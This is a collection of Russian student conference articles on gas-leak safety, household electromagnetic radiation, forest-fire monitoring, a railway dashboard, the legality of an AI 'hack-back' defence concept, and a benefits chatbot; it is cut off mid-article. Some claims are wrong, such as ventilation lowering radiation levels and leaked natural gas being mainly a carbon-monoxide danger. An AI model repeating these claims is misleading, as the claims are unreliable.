занную с утечкой  газа и токсическим задымлением. 
Abstract. The article examines the problem of gas leakage — this is a serious problem that 
can lead to dangerous consequences. The main causes of leaks, precautions necessary to en-
sure safety in residential premises and actions of the population in an emergency situation re-
lated to gas leakage and toxic smoke are considered. 
Ключевые слова: газ, утечка, безопасность, последствия, предотвращение.  
Keywords: gas, leakage, safety, consequences, prevention. 

 
Не существует вида энергии, который не был бы источником опасности. Рас-

смотрим газ как наиболее распространенный вид топлива. Несмотря на то, что смесь 
природного газа и воздуха является взрывоопасной (СО), а его отдельные компоненты 
токсичны, в наше время газ достаточно широко применяется в быту.  

Утечка газа — это серьезная проблема, которая может привести к опасным по-
следствиям. Понимание причин, вызывающих утечки, является ключевым фактором в 
их предотвращении.  

К основным причинам утечек можно отнести: 
1. Дефекты и износ оборудования. Газовые приборы, такие как плиты, бойлеры 

и котлы, со временем подвергаются износу. Особенно опасно использование устарев-
шего оборудования, которое не соответствует современным стандартам безопасности. 

2. Неправильная установка оборудования. Установка газовых приборов должна 
выполняться только сертифицированными специалистами. Нарушения правил установ-
ки, такие как неправильное соединение труб или использование неподходящих матери-
алов, значительно увеличивают риск утечек. 
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3. Ошибки при эксплуатации. Использование газовых приборов не по назначе-
нию, нарушение инструкций производителя или оставление их без присмотра – всё это 
может привести к аварийной ситуации. 

4. Износ газопроводов. Со временем трубы, по которым транспортируется газ, 
могут подвергаться коррозии, механическим повреждениям и износу. Особенно это ак-
туально для старых зданий, где системы газоснабжения не обновлялись десятилетиями. 

5. Нарушение герметичности соединений. Соединения между трубами или при-
борами часто становятся местом утечек из-за недостаточной герметичности или слабо-
сти креплений. 

Последствия утечек газа могут быть поистине разрушительными, превращая 
привычное жилье в место бедствия, угрожающее жизни. Особенно опасны утечки в 
многоквартирных домах, где даже самая небольшая концентрация газа может стать 
причиной большой и ужасной катастрофы.  

Бывают следующие виды последствий: 
1. Взрывы и пожары. Один момент – и привычный дом превращается в место 

трагедии. Утечка газа в закрытом пространстве создает взрывоопасную атмосферу. Ис-
кра от электрического переключателя, включение бытового прибора или даже статиче-
ское электричество могут стать фатальным фактором. Взрывной волной разрушаются 
стены, окна, перекрытия. Пожар, сопровождающий взрыв, поглощает имущество и ста-
вит под угрозу жизни людей. Каждая секунда промедления может увеличить масштабы 
разрушений. 

2. Отравление угарным газом. Самая страшная опасность, связанная с утечками 
газа, – это угарный газ (CO). Бесцветный, без запаха, он проникает в организм незамет-
но. Первые симптомы – головная боль, головокружение, сонливость – легко спутать с 
усталостью. Но каждая минута в помещении, наполненном угарным газом, может стать 
роковой. Человек засыпает, не осознавая угрозы, и зачастую смерть наступает уже в 
состоянии сна. Это медленный, но безжалостный убийца. 

3. Материальный ущерб. Взрывы газа уничтожают не только жилые помещения, 
но и соседние квартиры, автомобили на стоянке, магазины или офисы вблизи. Разруше-
ния несут огромные финансовые потери, которые иногда невозможно восстановить. 
Кроме того, восстановление повреждённых зданий может занять месяцы или даже годы. 

4. Угроза жизни и здоровью. Люди, выжившие в результате взрывов или пожа-
ров, часто сталкиваются с тяжёлыми травмами: ожогами, переломами, повреждениями 
внутренних органов. Для некоторых эти травмы становятся пожизненными, требую-
щими долгого и дорогостоящего лечения. Психологическая травма – ещё одно послед-
ствие, которое может преследовать пострадавших на протяжении всей жизни. Шок от 
пережитого оставляет глубокий след, не позволяя вернуться к нормальной жизни. 

5. Риск цепной реакции. В многоквартирных домах и больших районах утечка га-
за может привести к цепной реакции. Один взрыв может повредить соседние помещения 
или здания так, что, в свою очередь, вызывает новые утечки, пожары и разрушения.  

Для обеспечения безопасности в жилых помещениях необходимо соблюдать ряд 
мер предосторожности: 

1. Квалифицированная установка и обслуживание. Установка газового оборудо-
вания должна проводиться только квалифицированными специалистами, обладающими 
необходимыми навыками и сертификатами. Это гарантирует правильное подключение 
всех компонентов системы и строгое соблюдение актуальных стандартов и норм без-
опасности. Регулярные проверки оборудования также имеют важное значение.  

2. Регулярные проверки оборудования. Газовые приборы и системы должны 
проверяться не реже одного раза в год. Особенно важно следить за состоянием старых 
систем и оборудования. 
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3. Использование только сертифицированного оборудования. Покупка газовых 
приборов у сомнительных производителей увеличивает риск неисправностей. Выби-
райте только оборудование, сертифицированное в соответствии с национальными стан-
дартами безопасности. 

4. Контроль состояния трубопроводов. Регулярная проверка герметичности со-
единений и состояния труб помогает предотвратить утечки из-за износа или поврежде-
ний. 

5. Обучение жильцов. Каждый член семьи должен знать основные правила об-
ращения с газом, а также порядок действий в случае аварийной ситуации. 

Если вы заподозрили утечку газа, действуйте немедленно. Основные шаги: 
обеспечьте вентиляцию, откройте все окна и двери, чтобы снизить концентрацию газа; 
ни в коем случае не пользуйтесь электричеством, не включайте и не выключайте свет 
или электроприборы, чтобы избежать искры; перекройте подачу газа, немедленно за-
кройте газовый вентиль; позвоните в аварийную службу,  сообщите о проблеме в служ-
бу газоснабжения; уведомите соседей, если вы живёте в многоквартирном доме, преду-
предите соседей, чтобы они также приняли меры предосторожности; встречайте ава-
рийную газовую службу на достаточном расстоянии от места утечки; после утечки газа 
и людям, и животным необходима медицинская помощь; в случае тяжелых симптомов 
необходимо вызвать неотложную медицинскую помощь по телефону 103; до того, как 
приедет скорая помощь, пострадавших от отравления газом вынесите на свежий воздух и 
положите так, чтобы голова находилась выше ног. 

Необходимо строго соблюдать правила поведения при утечке газа, чтобы не допу-
стить трагических последствий.  

Для повышения уровня безопасности можно использовать передовые технологии: 
1. Датчики утечки газа. Эти устройства обнаруживают утечки и предупреждают 

жильцов с помощью звуковых и световых сигналов. 
2. Автоматические системы отключения. При утечке такие системы автоматиче-

ски прекращают подачу газа, предотвращая дальнейшее накопление. 
3. "Умные" системы контроля. Системы, подключённые к интернету, позволяют 

следить за состоянием газового оборудования в реальном времени и уведомляют о лю-
бых проблемах через мобильное приложение. 

4. Системы принудительной вентиляции. Обеспечивает высокую производи-
тельность обновления воздуха. При этом эффективность работы не зависит от внешних 
факторов, как в случае с естественной вентиляцией. Летом воздух обновляется так же 
быстро, как и зимой. Обеспечение безопасности при использовании газа – это не только 
задача специалистов, но и индивидуальная ответственность каждого. Для исключения 
рисков крайне важно следовать правилам эксплуатации газового оборудования, регу-
лярно проводить технические проверки и применять современные системы контроля. 
Обучение всех членов семьи также играет очень важную роль: знание основ безопасно-
го обращения с газовыми приборами и понимание последовательности действий в слу-
чае аварии могут помочь в экстренных ситуациях. Никогда не стоит забывать про про-
филактические меры, которые всегда является лучшим способом предотвращения тра-
гедий. Регулярные проверки, внимание к состоянию оборудования и готовность к 
быстрому реагированию не только снижают вероятность аварий, но и помогают защи-
тить здоровье и жизнь ваших близких. Ответственное отношение к газовой безопасно-
сти – это вклад в сохранение вашего дома и спокойствия вашей семьи. 
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МИНИМИЗАЦИЯ ВОЗДЕЙСТВИЯ ЭЛЕКТРОМАГНИТНОГО ИЗЛУЧЕНИЯ 
 
MINIMIZING THE EFFECTS OF ELECTROMAGNETIC RADIATION 
 
Аннотация. В статье  приведены рекомендации по эксплуатации бытовой техники с це-
лью снижения электромагнитного излучения.  Приведены основные простые правила, 
приемлемые для каждого человека, начиная от  организационных и заканчивая техни-
ческими мерами. Выбор методов защиты в каждом случае техники индивидуален. 
Abstract. The article provides recommendations for the operation of household appliances in 
order to reduce electromagnetic radiation. The basic simple rules acceptable to each person, 
starting from organizational and ending with technical measures, are given. The choice of pro-
tection methods in each case of the technique is individual. 
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Для снижения воздействия электромагнитного излучения (ЭМИ) можно следо-

вать нескольким простым правилам [1]: 
- обеспечьте необходимое расстояние, чем дальше вы находитесь от источника 

излучения, тем меньше его влияние на ваше здоровье. 
- ограничьте время использования электроприборов, которое поможет умень-

шить общее воздействие. 
- владение информацией, так как осведомленность о источниках ЭМИ и их воз-

действии поможет принимать более взвешенные решения относительно их использова-
ния (рисунок 1). 

 
Рисунок 1 – Электромагнитное излучение  в домах 
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Правильное размещение бытовой техники может значительно снизить воздей-
ствие ЭМИ. Рекомендуется  не использовать приборы близко друг к другу. Это помо-
жет снизить общий уровень излучения и избежать наложения ЭМИ.  

Необходимо избегать размещение рядом с обеденным столом. Пища должна го-
товиться вдали от источников ЭМИ, чтобы минимизировать влияние на здоровье. Раз-
мещайте приборы в менее посещаемых местах кухни, чтобы сократить время нахожде-
ния рядом с ними. 

Следует обеспечить вентиляцию. Хорошая вентиляция помогает снизить кон-
центрацию ЭМИ и улучшить качество воздуха в помещении. 

Рассмотрите дизайн  с точки зрения размещения мебели и электромагнитных 
приборов во избежание  слишком плотного расположения техники [2, 3]. 

Есть специфические рекомендации для отдельных приборов (рисунок 2): 
- микроволновка. Устанавливайте ее вдали от места приготовления пищи и обе-

денного стола, чтобы минимизировать влияние излучения. 
- холодильник. Держите его подальше от рабочих поверхностей, чтобы снизить 

уровень воздействия на здоровье. 
- индукционная плита. Располагайте ее так, чтобы минимизировать близость к 

зонам отдыха и питания. 
Правильное размещение и использование зон. Создайте зоны для приготовления 

пищи и отдыха с учетом источников ЭМИ, чтобы обеспечить комфортную атмосферу 
на кухне. 

Требуется регулярное проветривание помещения. Это позволяет улучшить каче-
ство воздуха и снизить уровень излучений в вашем доме. Регулярное проветривание 
помогает поддерживать свежесть воздуха и снижает уровень загрязнений. 

После того, как использовали технику, обязательно отключайте ее от сети. Тех-
ника должна быть без повреждений и использоваться согласно инструкции производи-
теля. Приобретая новую технику отдавайте предпочтение с более низким излучение 
ЭМИ согласно технически характеристик [5]. 

Снизьте до минимума общение по телефону.   

 
Рисунок 2 – Методы защиты от ЭМИ 

Следуя рекомендациям по размещению и эксплуатации бытовой техники, можно 
значительно снизить риски и создать комфортную обстановку для себя и своей семьи. 
Создание комфортной обстановки поможет снизить стресс и улучшить здоровье всей 
семьи [4].  
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СТРУКТУРА МОНИТОРИНГА ПОЖАРНОЙ БЕЗОПАСНОСТИ ЛЕСНОГО 
ФОНДА СОЛНЕЧНОГО МУНИЦИПАЛЬНОГО РАЙОНА  
ХАБАРОВСКОГО КРАЯ 
 
THE STRUCTURE OF FIRE SAFETY MONITORING OF THE FOREST FUND  
OF THE SOLNECHNY MUNICIPAL DISTRICT OF THE KHABAROVSK 
TERRITORY 
 
Аннотация. В работе проведен анализ состава лесного фонда Солнечного района, со-
став лесничеств и арендаторов. Проанализированы задачи лесничеств и отдела надзор-
ной деятельности в области лесных пожаров, выявлены основные причины пожаров, 
изучены системы мониторинга лесных пожаров в России и за рубежом. 
Abstract.  The paper analyzes the composition of the forest fund of Solnechny District, the 
composition of forestries and tenants. The tasks of forestries and the forest fire supervision 
department are analyzed, the main causes of fires are identified, and forest fire monitoring 
systems in Russia and abroad are studied. 
Ключевые слова: Мониторинг пожарной безопасности, лесной фонд, лесничества, си-
стемы мониторинга, причины лесных пожаров 
Key words: Fire safety monitoring, forest fund, forestry, monitoring systems, causes of forest 
fires 
 

Обеспечение пожарной безопасности территорий лесного фонда является акту-
альным во всех регионах России. Пожарная безопасность обеспечивается комплексны-
ми работами разных структур народного хозяйства, занимающихся разведением лесов, 
эксплуатацией и уходом за лесными ресурсами, разработкой лесных богатств, контро-
лем пожарного состояния и тушением возникающих пожаров. Целью работы является 
изучение структур, занимающихся обеспечением пожарной безопасности лесного фон-
да, анализ лесного фонда и арендаторов, существующие системы мониторинга в России 
и за рубежом. 
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Обеспечением развития, восстановления лесного фонда занимаются лесниче-
ства. В Солнечный административный район входит 4 лесничества: Эворонское, Го-
ринское, Солнечное и Амгуньское, которые обеспечивают развитие лесного фонда об-
щей площадью 3 518 456 га. 

Лесной фонд преимущественно представлен следующими видами деревьев: 
хвойные (сосна, ель, пихта, лиственница, кедр), твердолиственные (дуб, ясень, клен, 
вяз), мягколиственные (береза, осина, ольха, липа, тополь, ива). 

Таким образом, все участковые лесничества располагаются в таежной зоне с зо-
нами лесосеменного районирования для сосны – 20, для ели – 13, для лиственницы – 15 
(в Эворонском лесничестве для лиственницы – 8) общим количеством лесных кварта-
лов – 4 438 шт. Большая часть территории лесного фонда Солнечного района задей-
ствована для заготовки древесины. 

Лесоразработкой занимаются фирмы по лесозаготовке и продаже древесины, с 
которыми заключены договора. В их задачи также входят обеспечение пожарной без-
опасности на своих территориях в объеме их компетенций.  

Основными арендаторами лесного фонда являются: ООО ПКЦ «Русский Лес», 
ООО «Базальтресурс», ООО «ПромДК», ООО «Фортуна ДВ», ООО «Ель», ФБУ «Ис-
правительная колония №8 УФСИН России по Хаб краю», ООО «Вымпел-Восток Трей-
динг», ООО «Инвест-Лес», ООО «Кевлар», ООО «Комсомольск-Лес», ООО «Римбунан 
Хиджау МДФ». 

Также с 2008 года были заключены договора на большие площади леса с фир-
мами ООО «Амур Форест», ООО «Ручьи», ОАО «Флора», ОАО «Дальлеспром», ОАО 
«Харпи», ООО «Комсомольский КЛПХ», но на данный момент статус данных фирм – 
ликвидированы. 

Мониторингом пожарного состояния территорий Солнечного муниципального 
района занимаются лесничества, а также Отдел надзорной деятельности и профилакти-
ческой работе по Солнечному району (ОНД и ПР). Основными задачами ОНД и ПР яв-
ляются: 

 проверка состояния объектов, организаций и предприятий на предмет пожар-
ной безопасности;  

 ведение административного производства;  
 расследование дел о пожарах;  
 ведение статистики причин произошедших чрезвычайных ситуаций и их по-

следствий;  
 проведение мероприятий по профилактике нарушений обязательных требова-

ний, обучение мерам пожарной безопасности;  
 проверка соблюдения требований в области гражданской обороны органами 

местного самоуправления, организациями, должностными лицами и гражданами.  
В обязанности лесничества по охране лесного фонда входят: 
 Контроль за соблюдением правил пожарной безопасности в лесах, находящихся 

в ведении лесничества. Организовано наблюдение в местах работы лесозаготовителей и 
других лесопользователей, а также патрулирование лесов по дорогам и на участках, 
наиболее посещаемых населением. 

 Противопожарное обустройство лесов. В частности, строительство, рекон-
струкция и эксплуатация лесных дорог, предназначенных для охраны лесов от пожаров, 
прокладка просек, противопожарных разрывов, устройство противопожарных минера-
лизованных полос. 

 Ликвидация последствий лесных пожаров. Включает в себя разработку и реа-
лизацию комплекса мер по ликвидации последствий пожаров, установление особого 
режима контроля за пожарной обстановкой на участках лесов, пройденных пожарами. 
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 Контроль эффективной охраны лесов от пожаров. Включает в себя государ-
ственный пожарный надзор в лесах, проверку исполнения договорных обязательств, 
учёт пожаров в лесном реестре, привлечение к ответственности должностных лиц, до-
пустивших крупные лесные пожары. 

Основными причинами лесных пожаров в Солнечном районе являются населе-
ние и грозы. За последние 5 лет на население приходится почти 72 % всех лесных по-
жаров, на грозу – 25 %. 

В Солнечном районе используются только системы наземного, авиационного и 
космического мониторинга.Помимо уже существующих наземного, авиационного и 
космического мониторинга, относительно недавно появился четвёртый уровень — ви-
деомониторинг, основная цель которого заключается в повышении оперативности об-
наружения лесных пожаров. 

Международными системами мониторинга лесных пожаров являются Nasa’s fire 
information for resource management system (firms), Global forest watch fires, Descartes 
labs, Ororatech. 

В России действуют системы: система сбора информации о горимости лесов по 
данным наземных и авиационных наблюдений, геоинформационная система монито-
ринга лесных пожаров федерального и регионального уровней, система спутникового 
мониторинга лесных пожаров, система пеленгации молниевых разрядов, созданная в 
интересах ФГУ «АВИАЛЕСООХРАНА», система сбора и распространения информа-
ции о синоптической обстановке Роскомгидромета, ИСДМ-РОСЛЕСХОЗ, РОСКОС-
МОС И РАН. 

Также запатентована идея использования нейронный сетей - Патент 2813124, 
правообладатель – Автономная некоммерческая образовательная организация высшего 
образования "Сколковский институт науки и технологий" - Способ прогнозирования 
распространения природных пожаров с помощью данных дистанционного зондирова-
ния земли и нейронных сетей 

В Омской области фиксировать возгорания помогают беспилотные авиационные 
системы (БАС). В Республику Алтай на момент написания статьи поступило 12 
квадрокоптеров для мониторинга пожарной обстановки в лесах. Для лесных пожаров 
БПЛА могут отслеживать не только визуальные изменения, но и температурные колебания 
в воздухе, что позволяет оперативно выявить возгорания на ранних стадиях, предотвратив 
крупные пожары. 

Эффективность систем мониторинга лесных пожаров влияет на состояние лес-
ного фонда, так как позволяет своевременно обнаруживать возгорания и принимать ме-
ры по их устранению. Преимущества эффективных систем мониторинга: 

 Минимизация ущерба. Выявление пожаров на ранней стадии помогает сни-
зить наносимый огнём экономический и экологический ущерб.  

 Повышение оперативности ликвидации. Системы позволяют отслеживать 
возникновение пожаров в режиме реального времени. 

 Сохранение площади лесов. Сохранённая от огня площадь лесов — натураль-
ный показатель, который отражает результаты функционирования системы охраны леса.  
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КОМСОМОЛЬСКОЙ ДИСТАНЦИИ ПУТИ 
 
CONTROL PANEL FOR THE PRODUCTION AND TECHNICAL DEPARTMENT 
OF THE KOMSOL TRACK DISTANCE 
 
Аннотация. Эффективность управление железнодорожными перевозками зависит от спо-
собности управления производственными задачами. В данной статье предложен вариант 
аналитической платформы с использованием кода на языке программирования Python, 
для производственно-технического отдела Комсомольской дистанции пути. Это снизит 
трудозатраты инженерно-технических работников, повысит эффективность деятельности 
отдела, позволит повысить скорость ввода и обработки ключевых показателей, не пола-
гаясь на единую корпоративную автоматизированную систему управления инфраструк-
турой. Аналитическая платформа использует базу данных, интерфейс для ввода и обра-
ботки данных, визуализацию ключевых показателей в режиме реального времени.  
Abstract. The efficiency of railway transportation management depends on the ability to man-
age production tasks. In this article we propose a variant of analytical platform using code in 
Python programming language for production and technical department of Komsomolskaya 
track distance. It will reduce the labor costs of engineering and technical workers, increase the 
efficiency of the department, increase the speed of input and processing of key indicators, 
without relying on a single corporate automated infrastructure management system. The ana-
lytical platform uses a database, an interface for data input and processing, and real-time visu-
alization of key indicators.  
Ключевые слова: эффективность, снижение трудозатрат, управление перевозками, ана-
литическая платформа, производственный процесс. 
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Эффективное управление структурными подразделениями ОАО «РЖД» требует 
постоянного мониторинга выполнения планов и анализа причин их невыполнения или 
перевыполнения. Это позволит не только выявить проблемные области, но и разрабо-
тать решения для их устранения. Актуальность проблемы эффективности управления 
железнодорожными перевозками зависит от способности анализировать ключевые по-
казатели о техническом состоянии пути и принимать обоснованные решения. На при-
мере производственно-технического отдела Комсомольской дистанции пути, которая 
является важнейшим сегментом железной дороги видим, что руководство периодиче-
ски сталкиваются с проблемами, связанными с вводом и обработкой данными, такими 
как выбор даты обнаружения, вид нарушения, местоположения, линейный участок, 
ФИО отвественного, срок устранения, кем выявлено и статус. Производственно-
технический отдел отвечает за техническое обслуживание, составление графиков и 
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управление различными ресурсами. Однако отсутствие ключевых показателей о состо-
янии статуса замечания в режиме реального времени затрудняет процесс эффективного 
отслеживания и управления выявленными нарушениями [1]. 

Для решения этих задач предлагается разработать панель управления с исполь-
зованием кода на языке программирования Python. Это универсальный инструмент [2] 
призван интегрировать данные из различных источников, предоставляя инженерно-
техническим работникам актуальную информацию о дате выявления замечания, вида 
нарушения, местоположения, линейный участок, ФИО ответственного, срок устране-
ния, как выявлено и статус в реальном времени. 

Внедрив панель управления (дашборд) на базе данной аналитической платформы 
позволит Комсомольской дистанции пути снизить трудозатраты инженерно-технических 
работников и повысит скорость ввода и обработки выявленных замечаний [3].  

Основная часть 
Аналитическая платформа для Комсомольской дистанции пути будет иметь следующие 

критерии ввода данных (рисунок 1) : 
1) Дата выявления нарушения; 
2) Вид нарушения; 
3) Местоположение; 
4) Линейный участок; 
5) ФИО ответственного за устранения замечания; 
6) Срок устранения; 
7) Как выявлено;  
8) Статус инцидента. 

 
Рисунок 1 – Ввод плановых работ 

После ввода всех необходимых данных система автоматически создает инцидент 
с уникальным номером. Это позволит отслеживать каждое нарушение в системе. Инци-
денты будут отображаться в интерфейсе платформы с наглядной информацией о теку-
щем статусе (рисунок 2).  

По завершению устранения каждого инцидента информация о нем будет перене-
сена в историю инцидентов. Это создаст базу данных для дальнейшего анализа и визу-
алиции отработанных замечаний (рисунок 3) [4]. 
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Рисунок 2 – Процесс отслеживания статуса инцидента 

 
Рисунок 3 – История инцидентов 

История инцидентов используются для формирования гистограмм по замечани-
ям, что дает возможность визуализировать [5] и анализировать сколько было выявлено 
замечаний за конкретный месяц по линейным участкам и сколько замечаний было 
устранено за месяц по Комсомольской дистанции пути (рисунок 4). 

 
Рисунок 4 – Аналитические гистограммы 
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Внедрение данной аналитической платформы позволит не только улучшить 
управление замечаниями, но и снизит трудозатраты инженерно-технических работни-
ков Комсомольской дистанции пути. Благодаря данной программе можно визуализиро-
вать все данные на одной аналитической платформе, что позволит сократить время на 
ввод и обработку выявленных замечаний. В результате это приведет к повышению эф-
фективности Комсомольской дистанции пути, быстрому реагированию принятия реше-
ний, снижению ошибок, улучшению отчетности. Поскольку железнодорожная отрасль 
продолжает развиваться, внедрение программных решений будет иметь большое зна-
чение для удобства работы сотрудников предприятия. 
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Аннотация. В статье рассмотрены правовые аспекты концепции системы кибербез-
опасности, использующей подход активного противостояния киберугрозам с помощью 
искусственного интеллекта. Система сочетает элементы deception технологий для обна-
ружения вторжений и генерирует целевые атаки, при помощи искусственного интел-
лекта, для нейтрализации угроз. 
Abstract. The article discusses the legal aspects of the concept of a cybersecurity system using 
the approach of actively countering cyber threats using artificial intelligence. The system 
combines elements of deception technologies for intrusion detection and generates targeted 
attacks using artificial intelligence to neutralize threats. 
Ключевые слова: противостояние киберугрозам, активное противодействие киберугро-
зам, искусственный интеллект, Уголовный кодекс Российской Федерации, статьи 272 и 
273. 
Key words: countering cyber threats, active counteraction to cyber threats, artificial intelli-
gence, Criminal code of the Russian Federation, articles 272 and 273. 
 

Современный мир информационных технологий сталкивается с все большим ко-
личеством киберугроз, требующих разработки новых подходов к защите данных и си-
стем. В 2024 году виден очевидный рост количества инцидентов, связанных с компро-
метацией учетной записи: к концу года их доля выросла до 35 % согласно отчёту Solar 
JSOC [1]. Традиционные методы безопасности, такие как DLP (от англ. Data Loss 
Prevention), IPS/IDS (от англ. Intrusion Prevention Systems/Intrusion Detection Systems) и 
системы обмана (от англ. Deception systems), предоставляют надежные, не противоре-
чащие законодательству РФ, однако серьёзно ограниченные возможности нейтрализа-
ции угроз [2]. В данной статье предлагается концепция активной защиты с использова-
нием искусственного интеллекта, которая использует элементы Deception технологий 
для обнаружения вторжений и использования целевых мер противодействия, а также 
рассматриваются правовые аспекты подобной системы. Данный подход позволяет ав-
томатически изолировать C2-сервер злоумышленника от сети, тем самым препятствует 
доступ злоумышленника к собственной инфраструктуре, а в следствии и уничтожает 
данные на атакующем сервере, что минимизирует риск получения защищаемой инфор-
мации неавторизованными лицами. Таким образом, если ранее злоумышленник, полу-
чив данные на свой C2 или иной сервер, мог распоряжаться ими на свое усмотрение, то 
теперь это будет менее вероятно, так как защищающая система может изолировать и 
отформатировать этот атакующий сервер. 

Полная схема предложенной системы представлена на рисунке 1, цифры отоб-
ражают порядок событий. Предложенная система функционирует следующим образом: 
при подключении любого нового устройства к защищаемой сети (1), система собирает 
информацию об устройстве (2), включая используемые порты, версии операционных 
систем и другие идентификационные признаки. Эти данные передаются в модуль с ис-
кусственным интеллектом (3), который на основе полученной информации генерирует 
специализированную полезную нагрузку, направленную на нейтрализацию угрозы. По-
лезная нагрузка может включать действия по отрезанию каналов связи злоумышленни-
ка, изоляции зараженных систем или даже форматированию командных центров зло-
умышленника. Однако данная нагрузка генерируется без указания получателя, в целях 
предотвращения случайных срабатываний [3]. Предполагается вставка переменной 
_Target_ вместо аргумента, отвечающего за получателя. 

Модуль принятия решений хранит сгенерированную нагрузку и при получении 
сигнала от honeypot (4) о злоумышленнике отправляет нагрузку атакующему компью-
теру (устанавливает _Target_). Реализация полезной нагрузки осуществляется через 
прокси-сервер (5), который выступает в роли посредника, обеспечивая выполнение мер 
противодействия без дополнительного риска для основной системы.  



192 

 
Рисунок 1 – Схема активно противодействующей системы  

На данной схеме представлен типовой сценарий работы системы, где контратака 
вызывается подтвержденным неправомерным действием злоумышленника, посред-
ством систем сканирования новых устройств, honeypot для обнаружения вторжений, 
модулем принятия решений, а также прокси сервером.  

Несмотря на потенциальные улучшения систем безопасности и значительное 
снижение количества целенаправленных атак, предлагаемая система не соответствует 
действующему законодательству Российской Федерации (по состоянию на 2 февраля 
2025 года). С точки зрения статьи 272 Уголовного кодекса Российской Федерации, 
ключевым вопросом является определение законности доступа к информации, обраба-
тываемой устройствами, подключенными к защищенной сети. Система собирает дан-
ные об открытых портах, версиях операционной системы и других идентифицирующих 
признаках, которые формально могут быть истолкованы как действия, подпадающие 
под действие положений статьи, поскольку доступ к таким данным осуществляется без 
явного согласия пользователя устройства. Однако, правовая оценка зависит от обстоя-
тельств: если информация собрана в ходе реализации мер безопасности для защищен-
ной сети, которые предусмотрены в соответствующих политиках и соответствуют 
принципам законности, установленным Федеральным законом «О персональных дан-
ных» и другими нормативными актами в области защиты персональных данных. защи-
ты информации, такие действия можно считать законными. Однако, существуют риски, 
например, если подключенное устройство не является частью инфраструктуры, подпа-
дающей под действие внутренних правил информационной системы, или, если объем 
сбора данных превышает минимум, необходимый для выявления угрозы. Тем временем 
разработка и использование целевых нагрузок, предназначенных для нейтрализации 
угроз, таких как изоляция зараженных систем, блокирование каналов связи или выве-
дение из строя центров управления злоумышленника, подпадает под статью 273 Уго-
ловного кодекса Российской Федерации. Это связано с тем, что создание и использова-
ние программных кодов, способных нанести ущерб компьютерам, формально подпада-
ет под определение вредоносного программного обеспечения, в том числе, если их 
предполагаемое назначение носит оборонительный характер. Законодательство не при-
знает никаких исключений для «защитных» вредоносных программ, что приводит к 
юридической проблеме системы активного противодействия киберугрозам. Системные 
действия, направленные на противодействие кибератакам, могут быть классифициро-
ваны, как разработка и использование вредоносных инструментов, если они соответ-
ствуют критериям, определенным в статье 273 (например, способность уничтожать, 
блокировать, модифицировать или копировать компьютерную информацию [4]). 
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Предложенная система активной защиты с использованием искусственного ин-
теллекта представляет собой значительный шаг вперед в области и смену подхода к ки-
бербезопасности. Объединяя сканеры, deception-технологии и возможности искус-
ственного интеллекта, она предлагает комплексный и адаптивный подход к обнаруже-
нию и нейтрализации угроз. Способность системы генерировать целевые меры проти-
водействия обеспечивает эффективное реагирование на сложные атаки, минимизируя 
потенциальный ущерб и время простоя. 

Однако данная система не может быть разработана, в связи с ограничениями 
Уголовного кодекса Российской Федерации, а именно статьями 272 и 273. 
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ЧАТ-БОТ ПО ВОПРОСАМ СОЦИАЛЬНОГО ОБЕСПЕЧЕНИЯ УЧАСТНИКОВ 
СВО  
 
A CHATBOT ON SOCIAL SECURITY ISSUES FOR ITS MEMBERS 
 
Аннотация. В статье рассматривается разработка чат-бота для участников специальной 
военной операции (СВО) целью которого является упрощение доступа к информации о 
социальных льготах и мерах государственной поддержки. Авторами предложено реше-
ние на основе телеграм-бота, реализованного с использованием языка Python и фрейм-
ворка aiogram. Результатом работы стал функциональный прототип, позволяющий 
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участникам СВО оперативно получать персонализированную информацию о положен-
ных льготах в простой и понятной форме. 
Abstract. The article discusses the development of a chatbot for participants in a special military 
operation (SMO), which aims to simplify access to information about social benefits and gov-
ernment support measures. The authors proposed a solution based on a telegram bot implement-
ed using Python and the aiogram framework. The result of the work was a functional prototype 
that allows ITS participants to quickly receive personalized information about the benefits in a 
simple and understandable form. 
Ключевые слова: чат-бот, социальное обеспечение, участники СВО, телеграм-бот, Py-
thon, aiogram, государственные льготы. 
Key words: chatbot, social security, SMO members, telegram bot, Python, aiogram, govern-
ment benefits. 
 

В последние годы для участников СВО было введено множество нормативно 
правовых актов, связанных с социальным обеспечением, жилищных, налоговых и обра-
зовательных льготах, трудовых гарантиях, пенсиях, кредитных послаблениях, под-
держке бизнеса и ответственности [1]. Актуальность данной темы настоящей статьи 
обусловлена тем, что в настоящее время все больше и больше появляется новых про-
грамм помощи для участников СВО – это приводит к сложности разобраться в их усло-
виях, требованиях и порядке оформления. На март 2025 года насчитывается не менее 
50 актов о льготах для участников СВО [1]. Государство регулярно вводит новые меры 
поддержки, которые зачастую рассредоточены по разным ведомствам: Минобороны 
РФ, Социальный фонд РФ и другим, включая налоговые льготы, жилищные субсидии, 
медицинское обслуживание и образовательные льготы.  

Цель данной работы – применение и разработка чат-бота в социальной сети Те-
леграм с использованием современных цифровых решений для систематизации инфор-
мации о льготах.  

Особое внимание уделяется вопросам создания единого информационного про-
странства, разработка понятного интерфейса взаимодействия. 

В основной части будут представлены результаты разработки чат-бота. 
Для начала необходимо определить задачи, которые должен выполнять чат-бот. 

В нашем случае, чат-бот должен отправлять информацию по определенным льготам по 
запросу пользователя, а также иметь функцию обратной связи для того, чтобы пользо-
ватель в случае каких-либо трудностей или вопросов мог обратиться за обратной свя-
зью. 

Разработка чат-бота для получения информации по льготам СВО потребовала 
комплексного подхода к выбору технологий и архитектурных решений. В качестве ос-
новного языка программирования был выбран Python (версии 3.10), который оптималь-
но подходит для быстрого прототипирования, также синтаксис языка понятен и интуи-
тивно прост, что делает его доступным как для начинающих, так и для опытных разра-
ботчиков [2]. 

Для работы с Телеграм API использовалась библиотека aiogram (версии 3.19) – 
это асинхронный фреймворк для разработки ботов. Данный фреймворк позволяет реа-
лизовывать сложных ботов с использованием клавиатур, причем нескольких видов, а 
также поддержкой состояний, что позволяет реализовывать многошаговое общение с 
пользователем [3]. Управление конфигурацией и защита чувствительных данных были 
реализованы с помощью библиотеки python-decouple (версии 3.8), что позволило без-
опасно хранить токены и ключи доступа: токен бота, ID администраторов бота, порт, 
хост, URL-адрес [4]. 

По итогу был использован следующий стек технологий: 
- язык программирования Python; 
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- фреймворк для бота aiogram. 
На рисунке 1 представлен фундамент – структура проекта. 

 
Рисунок 1 – Структура чат-бота 

Такая структура не только упрощает разработку и внедрение новых функций, но 
и делает проект более прозрачным и удобным для командной работы. Четкое разделе-
ние на модули позволяет легко находить и исправлять ошибки, тестировать отдельные 
компоненты и масштабировать функциональность [5]. 

После определения технологического стека и структуры проекта была реализо-
вана ключевая функциональность чат-бота. Основной акцент сделан на создании инту-
итивно понятного интерфейса, позволяющего участникам СВО быстро получать ин-
формацию о положенных льготах. Бот поддерживает несколько режимов работы: тек-
